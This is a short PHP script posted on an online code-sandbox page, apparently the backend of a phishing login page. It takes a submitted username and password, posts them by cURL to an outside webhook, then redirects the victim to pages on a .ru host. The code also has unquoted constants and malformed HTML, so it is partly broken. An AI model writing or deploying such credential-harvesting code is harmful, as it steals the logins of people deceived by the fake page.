Hi! Could we please enable some services and cookies to improve your experience and our website?
Online Sandbox for SQL and PHP: Write, Run, Test, and Share SQL Queries and PHP Code
<?php
$uname = $_POST['uname'];
$psw = $_POST['psw'];
$myCurl = curl_init();
curl_setopt_array($myCurl, array(
CURLOPT_URL => 'https://qnext.app/bin/webhooks/10928/414/iDntafFDPtsvm6Bl',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query(array(
'uname' => $uname,
'psw' => $psw))
));
$response = curl_exec($myCurl);
curl_close($myCurl);
$test = $response;
if ($test == success) {
header('Refresh: 0; URL=http://idlewar.hostingem.ru/success.php');
exit;
} elseif ($test == errmoney) {
echo '<form action="http://idlewar.hostingem.ru/error.php" method="POST"
<input name="message" value="<?php echo "$message" ?>" type="text"
<input type="submit">
</form>
var form = document.forms[0]; // находим первую форму на странице
form.submit(); // вызываем её метод сабмит
</script>';
}
?>